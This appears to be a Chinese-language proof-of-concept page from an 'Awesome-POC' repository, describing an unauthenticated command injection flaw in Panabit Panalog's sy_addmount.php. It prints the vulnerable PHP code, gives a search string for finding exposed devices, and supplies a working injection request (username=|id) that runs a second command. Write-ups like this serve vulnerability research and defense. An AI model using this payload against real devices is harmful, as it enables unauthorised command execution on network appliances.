Awesome-POC/网络设备漏洞/Panabit Panalog sy_addmount.php 远程命令执行漏洞.md
2024-11-06 14:10:36 +08:00

56 lines
1000 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Panabit Panalog sy_addmount.php 远程命令执行漏洞
## 漏洞描述
Panabit Panalog sy_addmount.php过滤不足导致远程命令执行漏洞
## 漏洞影响
```
Panabit Panalog
```
## 网络测绘
```
body="Maintain/cloud_index.php"
```
## 漏洞复现
登录页面
![image-20230314084818630](images/image-20230314084818630.png)
存在漏洞的代码为 account/sy_addmount.php
```
<?php
include(dirname(__FILE__)."/../common.php");
$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
echo '{"success":"no", "out":"NO_USER"}';
exit;
}
$username = addslashes($username);
$rows = array();
$cmd = PANALOGEYE." behavior add account=$username";
exec($cmd, $out, $ret);
echo $out[0];
exit;
```
其中没有对身份进行鉴权,且 username 可控构造POC
```
POST /account/sy_addmount.php
username=|id
```
![image-20230314084851344](images/image-20230314084851344.png)